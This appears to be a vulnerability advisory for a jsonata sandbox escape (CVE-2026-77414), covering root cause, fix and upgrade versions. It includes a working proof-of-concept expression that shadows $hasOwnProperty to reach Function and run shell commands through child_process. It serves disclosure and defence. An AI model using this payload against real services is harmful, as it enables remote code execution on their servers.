CVE-2026-77414: jsonata Arbitrary Code Execution via hasOwnProperty Bypass
A crafted JSONata expression can escape the expression sandbox and run arbitrary operating system commands on the server by bypassing a prototype-property guard in the evaluator.

The problem
JSONata versions >= 2.0.0 (and >= 1.8.x before 1.8.8) evaluate user-supplied expressions inside a runtime environment that restricts which bindings are reachable. The environment's lookup function used a bypassable hasOwnProperty check to guard access to prototype properties.
By shadowing $hasOwnProperty and $__proto__ inside the expression, an attacker can replace the lookup guard with a no-op and then surface Function (via $constructor). From there, Function('return ...')() executes arbitrary JavaScript in the host Node.js process, giving full RCE to anyone who can submit a JSONata expression.
Proof of concept
A working proof-of-concept for CVE-2026-77414 in jsonata, with the exact payload below.
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return process.getBuiltinModule('child_process').execSync('id',{stdio:'pipe'}).toString()")();
)`);
console.log(await expression.evaluate({}));The root cause (CWE-94) is a single flawed line in environment.lookup (jsonata.js line 1865). The guard called hasOwnProperty on the environment object to decide whether a binding was safe to return. Because JSONata expressions can define new bindings like $hasOwnProperty, the attacker's expression overwrites that guard with $spread($string), which always returns truthy, making every prototype property reachable.
With the guard neutralized, the expression reads $__proto__ (aliased to $constructor, i.e. Function) from the environment prototype chain. Calling $constructor('return ...')() is a standard new Function() sandbox escape that runs in the host Node.js context with full access to built-ins including child_process.
PR #799 changed the lookup guard to use Object.prototype.hasOwnProperty.call(env, name) instead of env.hasOwnProperty(name), so a user-defined $hasOwnProperty binding can no longer shadow the native method.
The fix
Upgrade to jsonata 2.2.1 (or 1.8.8 for the v1 branch). The fix is a one-line change in environment.lookup: replace env.hasOwnProperty(name) with Object.prototype.hasOwnProperty.call(env, name) so the check cannot be overridden by expression-level bindings.
See PR #799 and commit 59e25144.
Related research
- criticalCVE-2026-77413CVE-2026-77413: jsonata Arbitrary Code Execution via Prototype Chain Escape
- criticalCVE-2026-77415CVE-2026-77415: jsonata Arbitrary Code Execution via Crafted Expression
- criticalCVE-2026-70477CVE-2026-70477: Flowise CSV Agent Prompt Injection Remote Code Execution
- criticalCVE-2026-69264CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE